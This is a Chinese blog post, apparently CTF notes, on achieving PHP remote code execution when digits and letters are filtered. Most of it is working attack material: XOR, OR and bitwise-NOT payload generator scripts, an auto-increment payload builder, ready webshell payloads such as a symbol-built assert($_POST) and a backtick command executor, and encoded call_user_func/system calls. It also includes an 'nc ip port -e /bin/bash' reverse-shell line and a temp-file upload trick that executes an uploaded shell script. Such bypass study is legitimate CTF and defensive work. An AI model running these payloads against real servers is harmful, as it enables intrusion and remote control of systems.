无数字字母RCE

无数字字母RCE

异或 ^

异或运算:相同为0 不同为1

两个字符的ascii码所对应的二进制进行一个异或运算

然后思想就是将两个字符串进行一个异或运算 结果就是我们想要得到的一个值

下面是一个php的异或运算的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;
异或运算第一部分:
异或运算第二部分:

还有一个python的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

输入我们想要执行的就可以了

我们来看一下:

image-20230706202523452.png

image-20230706203038189.png

“运算第一部分”^”运算第二部分” 这里要进行一个url编码 因为加号会被当作空格 所以要进行一个url编码

php5下可以用assert($_POST['_']); 进行一个命令执行

1
2
3
4
5
6
7
  <?php
assert($_POST['_']);
$a=assert;
$b=_POST;
$c=$$b;
$a($c['_']); //让a=_ 让b=__ 让c=___ //因为是无数字字母
?> // assert="!((%)("^"@[[@[\\" _POST="!+/(("^"~{`{|" 最后要对结果进行一个url编码

image-20230706211442786.png

记得url编码

PHP7下面构造一个反引号

1
`$_POST[_]`     $_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;

然后这个利用到了反弹shell _=nc ip 监听端口号 -e /bin/bash

或 |

有1则为1 下面是脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' //这个地方是根据题目进行一个正则匹配
str1=["system","cat flag.php"] //进行命令执行的
for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j="0"+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i='%'+hex_i
hex_j='%'+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print("(\""+t1+"\"|\""+t2+"\")")

取反

~() 会对括号里面的东西进行一个取反 如果原本是0b1001 经过取反后是 0b0110

image-20230706221417162.png

有中文的也有url编码的

下面用url的来讲一下:

image-20230706222401719.png

1
$_=assert $__=_POST      不用在再url了   这个是在php5下

脚本:

1
2
3
4
<?php
$b="_POST";
$a=urlencode(~$b);
echo $a;

php7下是反引号 进行反弹shell

自增

先来一个简单的代码来理解一下什么是自增

1
2
3
4
5
<?php
$a='A';
++$a;
echo $a;
//运行结果是B

这个++之前c语言的时候就学习过了 我们如果获取到了首字母A的话那么任意一个字母我们都可以通过自增的方法来获取

但是在无数字字母中我们不能有字母 那么该如何获取A呢? 这里要用到了数组

1
2
3
<?php
$a=[];
echo $a; //运行结果是Array

但是我们获得的是整个数组 它并不是一个字符串 所以单一个字母A我们是拿不到的 这里在数组后面加一个’’ 这样就会被当作字符串了

1
2
3
4
<?php
$a=[].'';
echo $a[0];
//运行结果是A

还有一个问题 既然是无数字字母的话 这个0就不应该有了 我们找一个不存在的变量 为假 也就是0 这样就可以代替了 然后变量名用_ 来代替

1
2
3
4
<?php
$_=[].'';
echo $_[$__];
//运行结果是A

在php5中我们可以用assert($_POST[_]) 来进行一个命令执行

然后这个assert和_POST 都可以利用自增进行构造出来

下面讲一下构造的思路

上面的既然可以运算出A 我们也可以运算出S 前置是先把A这个值赋给几个变量 方便后续的构造

1
2
3
$___=$_[$__];   这个三个下划线的被赋值成了A
$__=$___;
$_=$___; //然后两个下划线的和一个下划线的都被赋值成了A 这里是为什么 下面拼接的时候就能看出作用了

OK 下面就来构造S吧

1
2
3
4
5
6
7
8
<?php
$_=[].'';
$___=$_[$__];
$__=$___;
$_=$___;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
echo $_;
这个$_ 就是S 上面那些就是一个增加的 从A到S

然后先构造ASS

1
2
3
4
5
6
7
8
<?php
$_=[].'';
$___=$_[$__];
$__=$___;
$_=$___;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__.=$_.$_;
echo $__;

如果我们要构造E的话首先要把$_ 重新定义成A 上面得$___ 它得值还没有变 根据这个 把$_重新定义成A

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$_=[].'';
$___=$_[$__];
$__=$___;
$_=$___;
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__.=$_.$_;
$_=$___;
++$_;++$_;++$_;++$_;
$__.=$_;
echo $__;

下面的都是那样 就不再多说了

然后下面有一个自增构造的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){
$i = 0;
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$_ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1);
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

function POC2($cmd){
$i = 0;
echo '$____ = "_";$__=$___;';
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$____ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}


if (!empty($cmd)){
$POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
echo $POC_pat7;
POC($cmd);
}
if (!empty($cmd2)){
POC2($cmd2);
}

如果要构造assert($_POST[_]) 的话 就让cmd=assert post=POST

有四个下划线的是post的 一个下划线的是cmd的

特殊符号过滤

1.对下划线进行一个过滤

这个可以利用短标签进行一个绕过

1
2
3
?><?=`$_GET[_]`?>  可以将_GET	进行一个取反 然后 将_也进行一个取反 

转换成=> ?><?={${~"取反后的字符"}[%a0]}?> 然后就可以进行一个命令执行 同时改成POST也是可以的 只不过将后面的参数换成一个 - 号就行了

当然异或也是可以的

2.下划线和$被过滤了

php7下:

利用函数call_user_func() 进行一个绕过 只在php7后有效($a)();

call_user_func(‘调用的函数’,’传入的值’)

对它进行一个取反绕过

call_user_func => %9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C

system => %8C%86%8C%8B%9A%92

ls => %93%8C

(%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)(%8C%86%8C%8B%9A%92,~%93%8C); =>(call_user_func)(system,ls);

image-20230707160430309.png

在php5下:

利用了一个上传临时文件

参考大佬博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

. file(文件名) 是用来执行一个文件的

这个在php5下的绕过思路就是 上传一个文件 php会将我们上传的文件默认保存在/tmp/phpxxxxxx目录下 (xxxxxx 是六个随机的大小写字母)

然后我们通过通配符? 利用.file 去读取我们上传的文件 这个上传的文件是可控的 所以就可以进行命令执行 大体思路就是这个

? 代表任意一个字符

1
``可以用来进行命令执行     `./???/?????????`

但是这个有不可预知性 可以查的范围太广了 我们注意到后面的xxxxxx是六位随机的大小写字母 在linux中 glob支持利用 [0-9]来表示一个范围

在ascii码表中 @-[ 表示所有大写字母的范围 所以可以利用 [@-[] 我们可以让最后一位是大写的然后这样范围就进一步的缩小了

1
`./???/?????[@-[]`

image-20230707175309732.png

从User-Agent到最后的话可以复制粘贴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
ls / //进行命令执行
----------123--

3.过滤了~^|;`&

这个时候要用到自增 和短标签结合起来的

1
2
3
4
5
6
7
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){ //这个正则看题目是什么
echo chr($i)." ";
}
}
? 可以看看没有过滤哪些

无数字字母RCE
http://example.com/2023/08/25/无数字字母RCE/
作者
FSRM
发布于
2023年8月25日
更新于
2023年8月25日
许可协议